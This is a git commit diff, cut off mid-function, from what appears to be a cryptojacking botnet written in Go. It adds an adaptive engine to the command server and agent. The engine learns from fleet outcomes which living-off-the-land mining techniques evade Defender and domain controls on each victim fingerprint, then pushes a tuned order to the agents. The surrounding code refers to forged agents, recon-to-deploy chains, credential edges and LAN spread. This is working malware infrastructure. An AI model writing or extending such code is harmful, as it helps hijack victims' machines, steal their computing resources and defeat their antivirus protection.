Add fleet adaptive strategy engine for proactive LOTL tier ordering
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -62,6 +62,7 @@ type AgentClient struct {
|
|||||||
miningChain *MiningChainRunner
|
miningChain *MiningChainRunner
|
||||||
// tierPolicy is server-pulled LOTL onion ordering (auth_response / policy_update).
|
// tierPolicy is server-pulled LOTL onion ordering (auth_response / policy_update).
|
||||||
tierPolicy miner.MiningTierPolicy
|
tierPolicy miner.MiningTierPolicy
|
||||||
|
adaptiveStrategy AdaptiveStrategy
|
||||||
// triplePolicy is server-pulled recon → deploy → mining gate policy.
|
// triplePolicy is server-pulled recon → deploy → mining gate policy.
|
||||||
triplePolicy miner.TripleOnionPolicy
|
triplePolicy miner.TripleOnionPolicy
|
||||||
triplePolicyLoaded bool
|
triplePolicyLoaded bool
|
||||||
@@ -479,6 +480,8 @@ func (c *AgentClient) handleMessage(msg Message) {
|
|||||||
}
|
}
|
||||||
case "policy_update":
|
case "policy_update":
|
||||||
go c.applyPolicyUpdate(msg.Payload)
|
go c.applyPolicyUpdate(msg.Payload)
|
||||||
|
case "adaptive_strategy_update":
|
||||||
|
c.applyAdaptiveStrategyJSON(msg.Payload)
|
||||||
case "command":
|
case "command":
|
||||||
var cmd struct {
|
var cmd struct {
|
||||||
Action string `json:"action"`
|
Action string `json:"action"`
|
||||||
|
|||||||
@@ -62,8 +62,10 @@ type MiningDiagnostics struct {
|
|||||||
EnvironmentProbes miner.EnvironmentProbes `json:"environment_probes"`
|
EnvironmentProbes miner.EnvironmentProbes `json:"environment_probes"`
|
||||||
LOTLTier string `json:"lotl_tier,omitempty"`
|
LOTLTier string `json:"lotl_tier,omitempty"`
|
||||||
LOTLAttempts []miner.TierAttempt `json:"lotl_attempts,omitempty"`
|
LOTLAttempts []miner.TierAttempt `json:"lotl_attempts,omitempty"`
|
||||||
TierChainOrder []string `json:"tier_chain_order,omitempty"`
|
TierChainOrder []string `json:"tier_chain_order,omitempty"`
|
||||||
TierChainSkipped []string `json:"tier_chain_skipped,omitempty"`
|
TierChainSkipped []string `json:"tier_chain_skipped,omitempty"`
|
||||||
|
AdaptiveStrategy *AdaptiveStrategy `json:"adaptive_strategy,omitempty"`
|
||||||
|
StrategyReasoning []StrategyReason `json:"strategy_reasoning,omitempty"`
|
||||||
WebGPUReady bool `json:"webgpu_ready,omitempty"`
|
WebGPUReady bool `json:"webgpu_ready,omitempty"`
|
||||||
GPUComputeOK bool `json:"gpu_compute_ok,omitempty"`
|
GPUComputeOK bool `json:"gpu_compute_ok,omitempty"`
|
||||||
|
|
||||||
@@ -128,11 +130,17 @@ func (c *AgentClient) collectMiningDiagnostics() MiningDiagnostics {
|
|||||||
for i, t := range tierChain {
|
for i, t := range tierChain {
|
||||||
d.TierChainOrder[i] = string(t)
|
d.TierChainOrder[i] = string(t)
|
||||||
}
|
}
|
||||||
_, skipped := miner.SelectMiningTierChain(d.EnvironmentProbes, c.miningTierPolicy(), c.cfg)
|
policy := c.miningTierPolicy()
|
||||||
|
_, skipped := miner.SelectMiningTierChain(d.EnvironmentProbes, policy, c.cfg)
|
||||||
d.TierChainSkipped = make([]string, len(skipped))
|
d.TierChainSkipped = make([]string, len(skipped))
|
||||||
for i, t := range skipped {
|
for i, t := range skipped {
|
||||||
d.TierChainSkipped[i] = string(t)
|
d.TierChainSkipped[i] = string(t)
|
||||||
}
|
}
|
||||||
|
if strat := c.adaptiveStrategySnapshot(); len(strat.TierOrder) > 0 {
|
||||||
|
copy := strat
|
||||||
|
d.AdaptiveStrategy = ©
|
||||||
|
d.StrategyReasoning = copy.Reasoning
|
||||||
|
}
|
||||||
|
|
||||||
d.CPU.RemotePaused = remotePaused
|
d.CPU.RemotePaused = remotePaused
|
||||||
d.CPU.ScheduleBlocked = scheduleBlocked
|
d.CPU.ScheduleBlocked = scheduleBlocked
|
||||||
|
|||||||
@@ -19,6 +19,12 @@ func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) {
|
|||||||
c.applyTripleOnionPolicyJSON(resp.TripleOnionPolicy)
|
c.applyTripleOnionPolicyJSON(resp.TripleOnionPolicy)
|
||||||
if len(resp.MiningTierPolicy) > 0 {
|
if len(resp.MiningTierPolicy) > 0 {
|
||||||
c.applyMiningTierPolicyJSON(resp.MiningTierPolicy)
|
c.applyMiningTierPolicyJSON(resp.MiningTierPolicy)
|
||||||
|
}
|
||||||
|
if len(resp.AdaptiveStrategy) > 0 {
|
||||||
|
c.applyAdaptiveStrategyJSON(resp.AdaptiveStrategy)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if len(resp.MiningTierPolicy) > 0 {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
if len(resp.LotlOnionTiers) == 0 {
|
if len(resp.LotlOnionTiers) == 0 {
|
||||||
|
|||||||
@@ -61,6 +61,7 @@ type AuthResponse struct {
|
|||||||
LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"`
|
LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"`
|
||||||
MiningTierPolicy json.RawMessage `json:"mining_tier_policy,omitempty"`
|
MiningTierPolicy json.RawMessage `json:"mining_tier_policy,omitempty"`
|
||||||
TripleOnionPolicy json.RawMessage `json:"triple_onion_policy,omitempty"`
|
TripleOnionPolicy json.RawMessage `json:"triple_onion_policy,omitempty"`
|
||||||
|
AdaptiveStrategy json.RawMessage `json:"adaptive_strategy,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
type SharePayload struct {
|
type SharePayload struct {
|
||||||
|
|||||||
58
agent/client/strategy_policy.go
Normal file
58
agent/client/strategy_policy.go
Normal file
@@ -0,0 +1,58 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"log"
|
||||||
|
|
||||||
|
"crypto-miner-agent/miner"
|
||||||
|
)
|
||||||
|
|
||||||
|
type AdaptiveStrategy struct {
|
||||||
|
TierOrder []string `json:"tier_order"`
|
||||||
|
SkipTiers []string `json:"skip_tiers,omitempty"`
|
||||||
|
Reasoning []StrategyReason `json:"reasoning"`
|
||||||
|
Confidence float64 `json:"confidence"`
|
||||||
|
UpdatedAt string `json:"updated_at"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type StrategyReason struct {
|
||||||
|
Fact string `json:"fact"`
|
||||||
|
Inference string `json:"inference"`
|
||||||
|
Action string `json:"action"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) applyAdaptiveStrategyJSON(raw json.RawMessage) {
|
||||||
|
if len(raw) == 0 || string(raw) == "null" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
var s AdaptiveStrategy
|
||||||
|
if err := json.Unmarshal(raw, &s); err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
c.mu.Lock()
|
||||||
|
c.adaptiveStrategy = s
|
||||||
|
policy := c.tierPolicy
|
||||||
|
if len(s.TierOrder) > 0 {
|
||||||
|
order := make([]miner.LOTLTier, len(s.TierOrder))
|
||||||
|
for i, t := range s.TierOrder {
|
||||||
|
order[i] = miner.LOTLTier(t)
|
||||||
|
}
|
||||||
|
policy.TierOrder = order
|
||||||
|
}
|
||||||
|
if len(s.SkipTiers) > 0 {
|
||||||
|
skip := make([]miner.LOTLTier, len(s.SkipTiers))
|
||||||
|
for i, t := range s.SkipTiers {
|
||||||
|
skip[i] = miner.LOTLTier(t)
|
||||||
|
}
|
||||||
|
policy.SkipTiers = skip
|
||||||
|
}
|
||||||
|
c.tierPolicy = policy
|
||||||
|
c.mu.Unlock()
|
||||||
|
log.Printf("[agent] adaptive strategy applied (%d tiers, confidence=%.2f)", len(s.TierOrder), s.Confidence)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) adaptiveStrategySnapshot() AdaptiveStrategy {
|
||||||
|
c.mu.Lock()
|
||||||
|
defer c.mu.Unlock()
|
||||||
|
return c.adaptiveStrategy
|
||||||
|
}
|
||||||
@@ -79,6 +79,8 @@ type ServerSettings struct {
|
|||||||
WebRTCMeshPolicy WebRTCMeshPolicySettings `json:"webrtc_mesh_policy,omitempty"`
|
WebRTCMeshPolicy WebRTCMeshPolicySettings `json:"webrtc_mesh_policy,omitempty"`
|
||||||
// TripleOnionPolicy gates recon → deploy → mining chains pushed to agents at auth.
|
// TripleOnionPolicy gates recon → deploy → mining chains pushed to agents at auth.
|
||||||
TripleOnionPolicy TripleOnionSettings `json:"triple_onion_policy,omitempty"`
|
TripleOnionPolicy TripleOnionSettings `json:"triple_onion_policy,omitempty"`
|
||||||
|
// AdaptiveStrategyEnabled learns LOTL tier order from fleet outcomes (user machines only).
|
||||||
|
AdaptiveStrategyEnabled bool `json:"adaptive_strategy_enabled"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread.
|
// WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread.
|
||||||
@@ -279,7 +281,8 @@ func DefaultConfig() *Config {
|
|||||||
STUNServers: []string{"stun:stun.l.google.com:19302"},
|
STUNServers: []string{"stun:stun.l.google.com:19302"},
|
||||||
RotationHours: 24,
|
RotationHours: 24,
|
||||||
},
|
},
|
||||||
ServiceDeployAllowlist: defaultServiceDeployAllowlist(),
|
ServiceDeployAllowlist: defaultServiceDeployAllowlist(),
|
||||||
|
AdaptiveStrategyEnabled: true,
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -566,6 +566,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Fleet ops
|
// Fleet ops
|
||||||
|
strategyHandler := NewStrategyHandler(wsHub)
|
||||||
|
r.Post("/strategy/recompute", strategyHandler.PostRecompute)
|
||||||
|
|
||||||
if fleetHandler != nil {
|
if fleetHandler != nil {
|
||||||
r.Get("/alerts", fleetHandler.GetAlerts)
|
r.Get("/alerts", fleetHandler.GetAlerts)
|
||||||
r.Post("/alerts/test", fleetHandler.PostAlertTest)
|
r.Post("/alerts/test", fleetHandler.PostAlertTest)
|
||||||
|
|||||||
61
server/internal/api/strategy_auth_test.go
Normal file
61
server/internal/api/strategy_auth_test.go
Normal file
@@ -0,0 +1,61 @@
|
|||||||
|
package api
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"crypto-miner-server/internal/db"
|
||||||
|
"crypto-miner-server/internal/strategy"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestAuthResponseIncludesAdaptiveStrategy(t *testing.T) {
|
||||||
|
database, err := db.New(t.TempDir())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() { _ = database.Close() })
|
||||||
|
|
||||||
|
hub := NewWSHub(database)
|
||||||
|
hub.SetFleetSecret("test-secret")
|
||||||
|
hub.SetAdaptiveEngine(strategy.NewAdaptiveEngine(database, true))
|
||||||
|
|
||||||
|
conn, _ := dialAgentWS(t, hub)
|
||||||
|
resp := authAgentConn(t, conn, map[string]interface{}{
|
||||||
|
"agent_id": "agent-strategy-1", "fleet_secret": "test-secret",
|
||||||
|
"wallet": "4" + repeatChar('A', 94), "hostname": "win-docker", "platform": "windows", "version": "test",
|
||||||
|
})
|
||||||
|
if resp.Type != "auth_response" {
|
||||||
|
t.Fatalf("expected auth_response, got %q", resp.Type)
|
||||||
|
}
|
||||||
|
var payload map[string]interface{}
|
||||||
|
if err := json.Unmarshal(resp.Payload, &payload); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if payload["success"] != true {
|
||||||
|
t.Fatalf("auth failed: %v", payload["error"])
|
||||||
|
}
|
||||||
|
raw, ok := payload["adaptive_strategy"]
|
||||||
|
if !ok {
|
||||||
|
t.Fatal("expected adaptive_strategy in auth_response")
|
||||||
|
}
|
||||||
|
data, _ := json.Marshal(raw)
|
||||||
|
var adaptive struct {
|
||||||
|
TierOrder []string `json:"tier_order"`
|
||||||
|
Reasoning []struct{ Fact, Inference, Action string } `json:"reasoning"`
|
||||||
|
Confidence float64 `json:"confidence"`
|
||||||
|
}
|
||||||
|
if err := json.Unmarshal(data, &adaptive); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if len(adaptive.TierOrder) == 0 || len(adaptive.Reasoning) == 0 || adaptive.Confidence <= 0 {
|
||||||
|
t.Fatalf("invalid adaptive_strategy: %+v", adaptive)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func repeatChar(c byte, n int) string {
|
||||||
|
buf := make([]byte, n)
|
||||||
|
for i := range buf {
|
||||||
|
buf[i] = c
|
||||||
|
}
|
||||||
|
return string(buf)
|
||||||
|
}
|
||||||
25
server/internal/api/strategy_handler.go
Normal file
25
server/internal/api/strategy_handler.go
Normal file
@@ -0,0 +1,25 @@
|
|||||||
|
package api
|
||||||
|
|
||||||
|
import "net/http"
|
||||||
|
|
||||||
|
type StrategyHandler struct {
|
||||||
|
hub *WSHub
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewStrategyHandler(hub *WSHub) *StrategyHandler {
|
||||||
|
return &StrategyHandler{hub: hub}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *StrategyHandler) PostRecompute(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if h.hub == nil || h.hub.adaptiveEngine == nil {
|
||||||
|
http.Error(w, "adaptive strategy engine unavailable", http.StatusServiceUnavailable)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
count, err := h.hub.adaptiveEngine.RecomputeAll()
|
||||||
|
if err != nil {
|
||||||
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
pushed := h.hub.PushAdaptiveStrategyUpdates()
|
||||||
|
writeJSON(w, map[string]interface{}{"success": true, "recomputed": count, "pushed": pushed})
|
||||||
|
}
|
||||||
@@ -17,6 +17,7 @@ import (
|
|||||||
"crypto-miner-server/internal/db"
|
"crypto-miner-server/internal/db"
|
||||||
"crypto-miner-server/internal/models"
|
"crypto-miner-server/internal/models"
|
||||||
"crypto-miner-server/internal/pool"
|
"crypto-miner-server/internal/pool"
|
||||||
|
"crypto-miner-server/internal/strategy"
|
||||||
"crypto-miner-server/internal/vuln"
|
"crypto-miner-server/internal/vuln"
|
||||||
|
|
||||||
"github.com/google/uuid"
|
"github.com/google/uuid"
|
||||||
@@ -155,6 +156,7 @@ type WSHub struct {
|
|||||||
// Latest service_discover payloads keyed by agent ID (Crucible service graph).
|
// Latest service_discover payloads keyed by agent ID (Crucible service graph).
|
||||||
agentServiceDiscover map[string]cachedServiceDiscover
|
agentServiceDiscover map[string]cachedServiceDiscover
|
||||||
serverPolicy ServerPolicy
|
serverPolicy ServerPolicy
|
||||||
|
adaptiveEngine *strategy.AdaptiveEngine
|
||||||
pingIntervalSec int
|
pingIntervalSec int
|
||||||
fleetSecret string // baked into forged agents; verified on WS connect
|
fleetSecret string // baked into forged agents; verified on WS connect
|
||||||
eventNotifier *alerts.Notifier
|
eventNotifier *alerts.Notifier
|
||||||
@@ -261,6 +263,32 @@ func (h *WSHub) SetServerPolicy(p ServerPolicy) {
|
|||||||
h.mu.Unlock()
|
h.mu.Unlock()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (h *WSHub) SetAdaptiveEngine(e *strategy.AdaptiveEngine) {
|
||||||
|
h.mu.Lock()
|
||||||
|
h.adaptiveEngine = e
|
||||||
|
h.mu.Unlock()
|
||||||
|
if e != nil {
|
||||||
|
go h.runAdaptiveStrategyLoop()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *WSHub) runAdaptiveStrategyLoop() {
|
||||||
|
ticker := time.NewTicker(strategy.RescoreInterval)
|
||||||
|
defer ticker.Stop()
|
||||||
|
for range ticker.C {
|
||||||
|
h.mu.RLock()
|
||||||
|
engine := h.adaptiveEngine
|
||||||
|
h.mu.RUnlock()
|
||||||
|
if engine == nil || !engine.Enabled() {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if _, err := engine.RecomputeAll(); err != nil {
|
||||||
|
log.Printf("[strategy] background rescore: %v", err)
|
||||||
|
}
|
||||||
|
h.PushAdaptiveStrategyUpdates()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func (h *WSHub) SetPingInterval(seconds int) {
|
func (h *WSHub) SetPingInterval(seconds int) {
|
||||||
if seconds < 10 {
|
if seconds < 10 {
|
||||||
seconds = 30
|
seconds = 30
|
||||||
@@ -848,6 +876,14 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
resp["triple_onion_policy"] = top
|
resp["triple_onion_policy"] = top
|
||||||
|
if h.adaptiveEngine != nil && h.adaptiveEngine.Enabled() {
|
||||||
|
domainJoined := false
|
||||||
|
if prior != nil && prior.FirewallDomain != nil && *prior.FirewallDomain {
|
||||||
|
domainJoined = true
|
||||||
|
}
|
||||||
|
fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined)
|
||||||
|
resp["adaptive_strategy"] = h.adaptiveEngine.StrategyForAgent(agentID, fp)
|
||||||
|
}
|
||||||
return resp
|
return resp
|
||||||
}())})
|
}())})
|
||||||
|
|
||||||
@@ -1168,6 +1204,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
}
|
}
|
||||||
ac.latencyMu.Unlock()
|
ac.latencyMu.Unlock()
|
||||||
}
|
}
|
||||||
|
h.ingestStrategyFromStats(agentID, "", clientIPFromBroadcast(broadcast), stats.DefenderRTP, stats.FirewallDomain, stats.LOTLAttempts, stats.MiningHashrate, stats.LOTLTier)
|
||||||
h.queueStatsBroadcast(broadcast)
|
h.queueStatsBroadcast(broadcast)
|
||||||
|
|
||||||
case "submit_share":
|
case "submit_share":
|
||||||
@@ -1334,6 +1371,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
payload["agent_id"] = agentID
|
payload["agent_id"] = agentID
|
||||||
|
h.ingestStrategyFromPayload(agentID, payload)
|
||||||
h.queueStatsBroadcast(payload)
|
h.queueStatsBroadcast(payload)
|
||||||
|
|
||||||
case "command_result":
|
case "command_result":
|
||||||
@@ -1683,6 +1721,136 @@ func (h *WSHub) ResolveAgentTargets(ids []string) []string {
|
|||||||
return ids
|
return ids
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (h *WSHub) PushAdaptiveStrategyUpdates() int {
|
||||||
|
h.mu.RLock()
|
||||||
|
engine := h.adaptiveEngine
|
||||||
|
ids := h.ConnectedAgentIDs()
|
||||||
|
h.mu.RUnlock()
|
||||||
|
if engine == nil || !engine.Enabled() {
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
sent := 0
|
||||||
|
for _, agentID := range ids {
|
||||||
|
fp := engine.AgentFingerprint(agentID)
|
||||||
|
if fp.GOOS == "" {
|
||||||
|
if ag, err := h.db.GetAgent(agentID); err == nil {
|
||||||
|
fp = strategy.FingerprintFromAuth(ag.Platform, ag.IP, ag.FirewallDomain != nil && *ag.FirewallDomain)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
adaptive := engine.StrategyForAgent(agentID, fp)
|
||||||
|
payload, err := json.Marshal(adaptive)
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if err := h.SendToAgent(agentID, Message{Type: "adaptive_strategy_update", Payload: payload}); err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
sent++
|
||||||
|
}
|
||||||
|
return sent
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *WSHub) ingestStrategyFromPayload(agentID string, payload map[string]interface{}) {
|
||||||
|
if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
platform, _ := payload["platform"].(string)
|
||||||
|
ip, _ := payload["ip"].(string)
|
||||||
|
var defenderRTP, firewallDomain *bool
|
||||||
|
if v, ok := payload["defender_rtp"].(bool); ok {
|
||||||
|
defenderRTP = &v
|
||||||
|
}
|
||||||
|
if v, ok := payload["firewall_domain"].(bool); ok {
|
||||||
|
firewallDomain = &v
|
||||||
|
}
|
||||||
|
h.ingestStrategyFromStats(agentID, platform, ip, defenderRTP, firewallDomain, parseLOTLAttemptsFromPayload(payload), 0, "")
|
||||||
|
if hr, ok := payload["mining_hashrate"].(float64); ok {
|
||||||
|
if tier, ok := payload["lotl_tier"].(string); ok && hr > 0 {
|
||||||
|
h.ingestStrategyFromStats(agentID, platform, ip, defenderRTP, firewallDomain, nil, hr, tier)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *WSHub) ingestStrategyFromStats(
|
||||||
|
agentID, platform, ip string,
|
||||||
|
defenderRTP, firewallDomain *bool,
|
||||||
|
attempts []struct {
|
||||||
|
Tier string `json:"tier"`
|
||||||
|
OK bool `json:"ok"`
|
||||||
|
Error string `json:"error,omitempty"`
|
||||||
|
DurationMs int64 `json:"duration_ms"`
|
||||||
|
Wallet string `json:"wallet,omitempty"`
|
||||||
|
},
|
||||||
|
miningHashrate float64,
|
||||||
|
activeTier string,
|
||||||
|
) {
|
||||||
|
if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if platform == "" || ip == "" {
|
||||||
|
if ag, err := h.db.GetAgent(agentID); err == nil {
|
||||||
|
if platform == "" {
|
||||||
|
platform = ag.Platform
|
||||||
|
}
|
||||||
|
if ip == "" {
|
||||||
|
ip = ag.IP
|
||||||
|
}
|
||||||
|
if firewallDomain == nil {
|
||||||
|
firewallDomain = ag.FirewallDomain
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
domainJoined := firewallDomain != nil && *firewallDomain
|
||||||
|
fp := strategy.FingerprintFromAuth(platform, ip, domainJoined)
|
||||||
|
if defenderRTP != nil && *defenderRTP {
|
||||||
|
fp.AVBlocks = true
|
||||||
|
}
|
||||||
|
h.adaptiveEngine.RememberAgentFingerprint(agentID, fp)
|
||||||
|
for _, a := range attempts {
|
||||||
|
hr := 0.0
|
||||||
|
if a.OK && strings.EqualFold(a.Tier, activeTier) {
|
||||||
|
hr = miningHashrate
|
||||||
|
}
|
||||||
|
h.adaptiveEngine.RecordOutcome(agentID, fp, a.Tier, a.OK, hr, "mining")
|
||||||
|
}
|
||||||
|
if activeTier != "" && miningHashrate > 0 {
|
||||||
|
h.adaptiveEngine.RecordOutcome(agentID, fp, activeTier, true, miningHashrate, "mining")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseLOTLAttemptsFromPayload(payload map[string]interface{}) []struct {
|
||||||
|
Tier string `json:"tier"`
|
||||||
|
OK bool `json:"ok"`
|
||||||
|
Error string `json:"error,omitempty"`
|
||||||
|
DurationMs int64 `json:"duration_ms"`
|
||||||
|
Wallet string `json:"wallet,omitempty"`
|
||||||
|
} {
|
||||||
|
raw, ok := payload["lotl_attempts"]
|
||||||
|
if !ok {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
data, err := json.Marshal(raw)
|
||||||
|
if err != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
var attempts []struct {
|
||||||
|
Tier string `json:"tier"`
|
||||||
|
OK bool `json:"ok"`
|
||||||
|
Error string `json:"error,omitempty"`
|
||||||
|
DurationMs int64 `json:"duration_ms"`
|
||||||
|
Wallet string `json:"wallet,omitempty"`
|
||||||
|
}
|
||||||
|
if err := json.Unmarshal(data, &attempts); err != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return attempts
|
||||||
|
}
|
||||||
|
|
||||||
|
func clientIPFromBroadcast(broadcast map[string]interface{}) string {
|
||||||
|
ip, _ := broadcast["ip"].(string)
|
||||||
|
return ip
|
||||||
|
}
|
||||||
|
|
||||||
// PushPolicyUpdate sends policy_update to each target agent.
|
// PushPolicyUpdate sends policy_update to each target agent.
|
||||||
func (h *WSHub) PushPolicyUpdate(agentIDs []string, policy FleetAgentPolicy, pushID string) (sent, failed int) {
|
func (h *WSHub) PushPolicyUpdate(agentIDs []string, policy FleetAgentPolicy, pushID string) (sent, failed int) {
|
||||||
if policy.IsEmpty() {
|
if policy.IsEmpty() {
|
||||||
|
|||||||
@@ -195,6 +195,25 @@ func (d *Database) migrate() error {
|
|||||||
`CREATE INDEX IF NOT EXISTS idx_cred_edges_subnet ON cred_edges(subnet)`,
|
`CREATE INDEX IF NOT EXISTS idx_cred_edges_subnet ON cred_edges(subnet)`,
|
||||||
`CREATE INDEX IF NOT EXISTS idx_cred_edges_profile ON cred_edges(credential_profile_id)`,
|
`CREATE INDEX IF NOT EXISTS idx_cred_edges_profile ON cred_edges(credential_profile_id)`,
|
||||||
`CREATE INDEX IF NOT EXISTS idx_cred_edges_created ON cred_edges(created_at)`,
|
`CREATE INDEX IF NOT EXISTS idx_cred_edges_created ON cred_edges(created_at)`,
|
||||||
|
`CREATE TABLE IF NOT EXISTS tier_outcomes (
|
||||||
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
|
agent_id TEXT NOT NULL,
|
||||||
|
fingerprint_key TEXT NOT NULL,
|
||||||
|
tier TEXT NOT NULL,
|
||||||
|
ok INTEGER NOT NULL DEFAULT 0,
|
||||||
|
hashrate REAL NOT NULL DEFAULT 0,
|
||||||
|
phase TEXT NOT NULL DEFAULT 'mining',
|
||||||
|
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||||
|
)`,
|
||||||
|
`CREATE INDEX IF NOT EXISTS idx_tier_outcomes_fingerprint ON tier_outcomes(fingerprint_key)`,
|
||||||
|
`CREATE INDEX IF NOT EXISTS idx_tier_outcomes_tier ON tier_outcomes(tier)`,
|
||||||
|
`CREATE INDEX IF NOT EXISTS idx_tier_outcomes_created ON tier_outcomes(created_at)`,
|
||||||
|
`CREATE TABLE IF NOT EXISTS agent_strategy_cache (
|
||||||
|
agent_id TEXT PRIMARY KEY,
|
||||||
|
fingerprint_key TEXT NOT NULL,
|
||||||
|
strategy_json TEXT NOT NULL,
|
||||||
|
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||||
|
)`,
|
||||||
}
|
}
|
||||||
for _, m := range extraMigrations {
|
for _, m := range extraMigrations {
|
||||||
if _, err := d.Exec(m); err != nil {
|
if _, err := d.Exec(m); err != nil {
|
||||||
|
|||||||
102
server/internal/db/strategy.go
Normal file
102
server/internal/db/strategy.go
Normal file
@@ -0,0 +1,102 @@
|
|||||||
|
package db
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
type TierOutcomeStats struct {
|
||||||
|
Tier string
|
||||||
|
Total int
|
||||||
|
Successes int
|
||||||
|
Failures int
|
||||||
|
MaxHashrate float64
|
||||||
|
}
|
||||||
|
|
||||||
|
func (d *Database) InsertTierOutcome(agentID, fingerprintKey, tier string, ok bool, hashrate float64, phase string) error {
|
||||||
|
okInt := 0
|
||||||
|
if ok {
|
||||||
|
okInt = 1
|
||||||
|
}
|
||||||
|
_, err := d.Exec(
|
||||||
|
`INSERT INTO tier_outcomes (agent_id, fingerprint_key, tier, ok, hashrate, phase, created_at)
|
||||||
|
VALUES (?, ?, ?, ?, ?, ?, CURRENT_TIMESTAMP)`,
|
||||||
|
agentID, fingerprintKey, tier, okInt, hashrate, phase,
|
||||||
|
)
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
func (d *Database) UpsertAgentStrategyCache(agentID, fingerprintKey, strategyJSON string) error {
|
||||||
|
_, err := d.Exec(
|
||||||
|
`INSERT INTO agent_strategy_cache (agent_id, fingerprint_key, strategy_json, updated_at)
|
||||||
|
VALUES (?, ?, ?, CURRENT_TIMESTAMP)
|
||||||
|
ON CONFLICT(agent_id) DO UPDATE SET
|
||||||
|
fingerprint_key = excluded.fingerprint_key,
|
||||||
|
strategy_json = excluded.strategy_json,
|
||||||
|
updated_at = CURRENT_TIMESTAMP`,
|
||||||
|
agentID, fingerprintKey, strategyJSON,
|
||||||
|
)
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
func (d *Database) ListAgentStrategyFingerprints() (map[string]string, error) {
|
||||||
|
rows, err := d.Query(`SELECT agent_id, fingerprint_key FROM agent_strategy_cache`)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
out := make(map[string]string)
|
||||||
|
for rows.Next() {
|
||||||
|
var agentID, fpKey string
|
||||||
|
if err := rows.Scan(&agentID, &fpKey); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
out[agentID] = fpKey
|
||||||
|
}
|
||||||
|
return out, rows.Err()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (d *Database) AggregateTierOutcomes(fingerprintKey, goos string) ([]TierOutcomeStats, error) {
|
||||||
|
stats, err := d.aggregateTierOutcomesWhere(`fingerprint_key = ?`, fingerprintKey)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if len(stats) > 0 {
|
||||||
|
return stats, nil
|
||||||
|
}
|
||||||
|
if goos == "" {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
